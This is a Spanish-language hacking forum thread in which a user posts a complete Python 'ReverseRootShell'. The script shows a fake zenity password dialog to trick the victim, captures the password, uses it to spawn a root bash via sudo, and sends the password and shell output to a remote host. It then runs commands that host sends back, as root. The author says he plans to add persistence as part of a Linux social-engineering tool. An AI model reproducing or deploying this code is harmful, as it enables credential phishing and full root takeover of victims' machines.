comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

ReverseRootShell con Python

  • 1 Respuestas
  • 1098 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado WhiZ

  • *
  • Underc0der
  • Mensajes: 395
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« en: Junio 22, 2013, 07:28:23 pm »
Hola Gente! Cómo les va?

Esta vez vengo con un pequeño programita que escribí cuya función es conseguir una reverse shell con privilegios de root.

Para ello utilicé 2 herramientas: zenity y pexpect.

Con zenity creo un form que solicita la password al usuario remoto (una especie de ingeniería social) y con pexpect ejecuto una shell con privilegios de root ('sudo /bin/bash') e ingreso la contraseña introducida anteriormente por la víctima.

Bueno, por supuesto que uso sockets para establecer la conexión entre las 2 PCs.

Aquí el código:

Código: Python
  1. #!/usr/bin/python
  2. # -*- coding: utf-8 -*-
  3. # Autor: WhiZ
  4.  
  5. from pexpect import spawn, run
  6. import socket
  7.  
  8. class ReverseRootShell(object):
  9.        
  10.         def __init__(self):
  11.                
  12.                 # Obtenemos la contraseña del root
  13.                 self.passwd = self.obtienePasswd()
  14.                
  15.                 # Nos conectamos al cliente
  16.                 self.servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  17.                 self.servidor.connect(('192.168.0.131', 2236))
  18.                
  19.                 # Obtenemos la shell como root
  20.                 self.obtieneRootShell()
  21.                
  22.                 # Escuchamos al cliente
  23.                 self.escuchaCliente()
  24.                
  25.                 self.servidor.close()
  26.  
  27.         def obtienePasswd(self):
  28.                
  29.                 zenity = '''zenity --password --title="Autenticación"'''
  30.                
  31.                 passwd = run(zenity).replace('\n', '')
  32.                 return passwd
  33.        
  34.         def obtieneRootShell(self):
  35.                
  36.                 # Ejecutamos la shell como root
  37.                 self.child = spawn('sudo /bin/bash')
  38.                
  39.                 # Enviamos la contraseña ingresada anteriormente
  40.                 # por el usuario
  41.                 self.child.sendline(self.passwd)
  42.                
  43.                 # Enviamos el output al host remoto
  44.                 salida = self.child.next() + self.passwd + '\n'
  45.                 self.servidor.send(salida)
  46.  
  47.         def escuchaCliente(self):
  48.                
  49.                 while True:
  50.                         recibido = self.servidor.recv(1024)
  51.                        
  52.                         if recibido == 'Desconectar':
  53.                                 break
  54.                        
  55.                         else:
  56.                                 self.ejecutaComando(recibido)
  57.        
  58.         def ejecutaComando(self, comando):
  59.                
  60.                 # Ejecutamos el comando (siempre como root)
  61.                 self.child.sendline(comando)
  62.                
  63.                 # Enviamos el output al host remoto
  64.                
  65.                 while True:
  66.                        
  67.                         try:
  68.                                 salida =  self.child.read_nonblocking(timeout=5)
  69.                                 self.servidor.send(salida)
  70.                                
  71.                                 # NOTA: Como es un poco complicado manejar el output
  72.                                 # con pexpect, lo que hice fue frenar el bucle tras
  73.                                 # 5 segundos de inactividad.
  74.                                 # Esto significa que si utilizamos comandos 'lentos'
  75.                                 # por ej., escaneamos la red con nmap, deberemos
  76.                                 # presionar la tecla 'enter' cada tanto para ir
  77.                                 # cargando los datos que vayan apareciendo
  78.                                
  79.                         except:
  80.                                 break
  81.  
  82. rrs = ReverseRootShell()
  83.  

De más está decir que hay mucho que mejorar, pero no me aguantaba asiq lo compartí jeje.

De todas maneras, mi idea es crear una herramienta de ingeniería social para linux, por lo que hay muchas alternativas a la hora de mejorar el código (depende del tipo de engaño que se nos ocurra). Por otro lado, quedan muchas cosas para agregar que son independientes del engaño que implementemos (por ejemplo, la persistencia).

A medida que lo vaya mejorando voy a ir actualizando el post.

Eso es todo.

Saludos!
WhiZ
« Última modificación: Junio 22, 2013, 07:30:28 pm por WhiZ »


Desconectado lokitorz

  • *
  • Underc0der
  • Mensajes: 8
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #1 en: Junio 22, 2013, 08:12:58 pm »
muy bueno, gracias por el aporte!

 

¿Te gustó el post? COMPARTILO!



[Código] Yardas a metros - Metros a yardas [Python]

Iniciado por LucaSthefano

Respuestas: 0
Vistas: 1338
Último mensaje Mayo 29, 2011, 01:27:34 am
por LucaSthefano
Python Trojan - By "bLiNdFiR3"

Iniciado por d33k40

Respuestas: 1
Vistas: 1969
Último mensaje Abril 03, 2010, 11:01:59 pm
por Dharok
Python keylogger - by "bLiNdFiR3"

Iniciado por d33k40

Respuestas: 0
Vistas: 1959
Último mensaje Abril 07, 2010, 03:30:22 am
por d33k40
[Código] Entero / No Entero [Ejercicio - Python]

Iniciado por LucaSthefano

Respuestas: 0
Vistas: 1298
Último mensaje Mayo 29, 2011, 01:24:09 am
por LucaSthefano
Python phpmyadmin "BruteForce"

Iniciado por linkgl

Respuestas: 2
Vistas: 2437
Último mensaje Agosto 19, 2011, 12:14:37 pm
por linkgl